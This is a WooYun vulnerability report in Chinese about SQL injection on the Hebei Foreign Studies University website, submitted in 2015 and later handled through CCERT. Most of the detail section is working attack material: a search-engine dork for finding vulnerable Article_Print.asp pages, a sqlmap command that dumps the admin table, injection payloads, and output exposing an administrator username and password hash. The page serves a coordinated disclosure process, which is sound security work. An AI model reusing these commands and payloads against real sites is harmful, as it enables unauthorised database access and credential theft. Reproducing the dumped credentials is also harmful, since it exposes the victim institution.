当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0156611

漏洞标题:河北外国语学院网站sql注入

相关厂商:河北外国语学院

漏洞作者: 路人甲

提交时间:2015-11-29 21:41

修复时间:2016-01-16 12:54

公开时间:2016-01-16 12:54

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:5

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-29: 细节已通知厂商并且等待厂商处理中
2015-12-02: 厂商已经确认,细节仅向厂商公开
2015-12-12: 细节向核心白帽子及相关领域专家公开
2015-12-22: 细节向普通白帽子公开
2016-01-01: 细节向实习白帽子公开
2016-01-16: 细节向公众公开

简要描述:

详细说明:

google一搜
site:**.**.**.** inurl:Article_Print.asp?
全是的
随便找一个
http://**.**.**.**/10lada/Article_Print.asp?ArticleID=7820

漏洞证明:

sqlmap -u "http://**.**.**.**/10lada/Article_Print.asp?ArticleID=7820" --dump -C "username,password" -T "admin"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151127}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 16:59:49
[16:59:49] [INFO] resuming back-end DBMS 'microsoft access'
[16:59:49] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ArticleID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ArticleID=7820 AND 8107=8107
Type: UNION query
Title: Generic UNION query (NULL) - 32 columns
Payload: ArticleID=-2574 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)&CHR(122)&CHR(98)&CHR(98)&CHR(113)&CHR(87)&CHR(104)&CHR(122)&CHR(98)&CHR(102)&CHR(103)&CHR(68)&CHR(89)&CHR(112)&CHR(100)&CHR(113)&CHR(113)&CHR(112)&CHR(112)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
[16:59:50] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[16:59:50] [ERROR] cannot retrieve column names, back-end DBMS is Access
[16:59:50] [INFO] fetching entries of column(s) 'id, password, username' for table 'admin' in database 'Microsoft_Access_masterdb'
[16:59:50] [INFO] the SQL query used returns 4 entries
[16:59:50] [INFO] resumed: "23","7f9a1bd80ce79e92","qiang40222"
[16:59:50] [INFO] resumed: "23","7f9a1bd80ce79e92","qiang40222"
[16:59:50] [INFO] resumed: "23","7f9a1bd80ce79e92","qiang40222"
[16:59:50] [INFO] resumed: "23","7f9a1bd80ce79e92","qiang40222"
[16:59:50] [INFO] analyzing table dump for possible password hashes
[16:59:50] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] n
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: Microsoft_Access_masterdb
Table: admin
[4 entries]
+----+------------+------------------+
| id | username | password |
+----+------------+------------------+
| 23 | qiang40222 | 7f9a1bd80ce79e92 |
| 23 | qiang40222 | 7f9a1bd80ce79e92 |
| 23 | qiang40222 | 7f9a1bd80ce79e92 |
| 23 | qiang40222 | 7f9a1bd80ce79e92 |
+----+------------+------------------+
[16:59:54] [INFO] table 'Microsoft_Access_masterdb.admin' dumped to CSV file '/root/.sqlmap/output/**.**.**.**/dump/Microsoft_Access_masterdb/admin.csv'
[16:59:54] [INFO] fetched data logged to text files under '/root/.sqlmap/output/**.**.**.**'
[*] shutting down at 16:59:54

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-12-02 12:53

厂商回复:

通知修改中

最新状态:

暂无